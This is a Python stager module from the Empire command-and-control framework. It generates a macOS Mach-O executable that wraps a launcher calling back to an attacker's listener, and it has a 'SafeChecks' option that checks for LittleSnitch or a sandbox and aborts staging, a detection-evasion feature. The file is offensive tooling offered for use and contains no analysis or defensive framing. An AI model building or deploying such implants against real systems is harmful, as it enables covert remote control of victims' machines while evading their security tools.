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macho.py
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macho.py
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from empire.server.common import helpers
class Stager:
def __init__(self, mainMenu):
self.info = {
"Name": "macho",
"Authors": [
{
"Name": "Chris Ross",
"Handle": "@xorrior",
"Link": "https://twitter.com/xorrior",
}
],
"Description": "Generates a macho executable.",
"Comments": [""],
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
"Value": "",
},
"Language": {
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "python",
"SuggestedValues": ["python"],
"Strict": True,
},
"OutFile": {
"Description": "Filename that should be used for the generated output.",
"Required": True,
"Value": "macho.out",
},
"SafeChecks": {
"Description": "Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.",
"Required": True,
"Value": "True",
"SuggestedValues": ["True", "False"],
"Strict": True,
},
"UserAgent": {
"Description": "User-agent string to use for the staging request (default, none, or other).",
"Required": False,
"Value": "default",
},
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
def generate(self):
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
user_agent = self.options["UserAgent"]["Value"]
safe_checks = self.options["SafeChecks"]["Value"]
# generate the launcher code
# turn base64 encoding off
encode = False
launcher = self.mainMenu.stagers.generate_launcher(
listener_name,
language=language,
encode=encode,
userAgent=user_agent,
safeChecks=safe_checks,
)
if launcher == "":
print(helpers.color("[!] Error in launcher command generation."))
return ""
return self.mainMenu.stagers.generate_macho(launcher)